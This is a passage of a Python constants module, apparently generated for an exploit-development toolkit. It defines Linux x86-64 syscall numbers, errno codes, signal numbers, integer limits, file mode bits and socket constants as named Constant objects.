Constant('SYS32_rt_tgsigqueueinfo',335) SYS32_perf_event_open = Constant('SYS32_perf_event_open',336) SYS32_recvmmsg = Constant('SYS32_recvmmsg',337) SYS32_fanotify_init = Constant('SYS32_fanotify_init',338) SYS32_fanotify_mark = Constant('SYS32_fanotify_mark',339) SYS32_prlimit64 = Constant('SYS32_prlimit64',340) SYS32_name_to_handle_at = Constant('SYS32_name_to_handle_at',341) SYS32_open_by_handle_at = Constant('SYS32_open_by_handle_at',342) SYS32_clock_adjtime = Constant('SYS32_clock_adjtime',343) SYS32_syncfs = Constant('SYS32_syncfs',344) SYS32_sendmmsg = Constant('SYS32_sendmmsg',345) SYS32_setns = Constant('SYS32_setns',346) SYS32_process_vm_readv = Constant('SYS32_process_vm_readv',347) SYS32_process_vm_writev = Constant('SYS32_process_vm_writev',348) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',64) __WORDSIZE_COMPAT32 = Constant('__WORDSIZE_COMPAT32',1) __UNALIGNED_MEMORY_ACCESS_OK = Constant('__UNALIGNED_MEMORY_ACCESS_OK',1) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) 